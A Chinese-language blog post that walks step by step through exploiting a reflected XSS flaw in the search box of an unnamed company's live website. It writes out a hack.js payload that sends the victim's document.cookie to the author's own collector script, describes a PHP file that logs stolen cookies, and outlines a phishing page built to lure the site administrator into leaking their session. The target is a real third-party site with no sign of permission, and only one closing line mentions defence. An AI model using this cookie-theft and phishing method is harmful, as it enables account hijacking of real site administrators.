我发现我的文章,评论的很少、点赞的很少、转发的很少,收藏的倒是不少。本人写文章不容易,又不图啥大家给点鼓励嘛!
首先我们打开某个企业网站,看看有没有什么留言区域、搜索框什么的。现实发现,留言的地方都被企业去掉了,只剩下搜索框。
搜索框就搜索框吧,我们带入我们测试的代码试试效果,在搜索框输入:
没错跟我们想的一样,确实存在XSS漏洞。
我们测试一下cookie获取试试,在搜索框输入:
现实一点都不残酷,cookie还是可以获取的,如下图:
但有些人可能认为,单纯的拿个这样XSS貌似没什么利用价值,就是弹个框而已,管理员又不会自己输入代码弹个框再发给你。
其实我们可以利用这个来钓鱼啊!
那我们看一下页面的源码,按理说肯定是GET提交的,如果是GET的话,那么我们直接伪装地址栏连接传递恶意代码就OK了。
不出我们所料,果然是GET提交的。这样就好办了,下面我们说个流程:
1.自己搭建一个站点
2.在自己的站点上创建一个获取对方cookie的PHP文件
3.管理员访问带有跳转的链接
4.中招
那么实现起来应该是这个样子的:
我们先构造一个获取管理员cookie的PHP文件,起名为getcookie.php:
代码的意思是获取GET过来的cookie,然后打开本地站点的cookie.txt文件并写入传入的cookie,并且加入时间戳。
我们把最后一行加入一个输出,先本地测试一下效果:
最后一行加入:echo $cookie;
然后浏览器输入:
http://127.0.0.1:8080/getcookie.php?cookie=im hacker
执行访问,看看效果:
不错,成功的获取到,然后再看看我们本地站点的cookie.txt文件里面是否加入了我们的cookie变量的值。
同样的本地本间也储存的传递过来的cookie变量,并保存了。
下面我们想储存真正的cookie的值就需要把下面的代码放在存在XSS的页面执行:
代码的含义:
获取管理员在官网上的cookie,然后以get的方式提交给127.0.0.1下面的getcookie.php。
我们尝试着把这串代码在官网执行以下试试:
毫无破绽...代码并没有被执行,猜测可能是代码太长,后台给加了长度限制,所以没被执行 ,怎么办呢?
我们可以通过js加载的方式来试试效果。
我们新建一个js脚本,名字随便起,比如说叫:hack.js
创建一个图片,并设置为不可见,图片地址设置为以上的恶意地址,使官网进行加载:
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://127.0.0.1:8080/getcookie.php?cookie='+encodeURIComponent(document.cookie);
现在我们再来重新架构一下我们的XSS代码,在搜索框进行输入:
现在就变成了,浏览器自动加载我们本地站点下的hack.js,而hack.js里面又储存了我们的跳转链接也就是上面无法执行的那串代码,我们访问测试:
你会发现,奇迹出现了,我们的本地cookie.txt出现了官网的cookie。
到这里基本就大功告成了,我们最后要做的就是钓鱼,你可以写一个页面,插入一张比较具有诱惑性的图片,并且图片的地址是我们构造的连接,发给管理员,管理员如果记录了官网的cookie的话一访问遍中招了。
我们创建一个钓鱼页面:
以上的代码,发给管理员,如果管理员点击了图片,就会泄露cookie。
只要一点击,管理员就会跳到官方的地址,并发送给我们的恶意站点。
以上就是关于XSS的利用,可见一些细小的BUG就会带来严重的安全问题,所以程序员在写代码的时候一定要注意规避,不要给不法分子可乘之机!
关于XSS的防范,前面的文章我有介绍,有需要的可以去看看。
閱讀更多 LIUSE網絡 的文章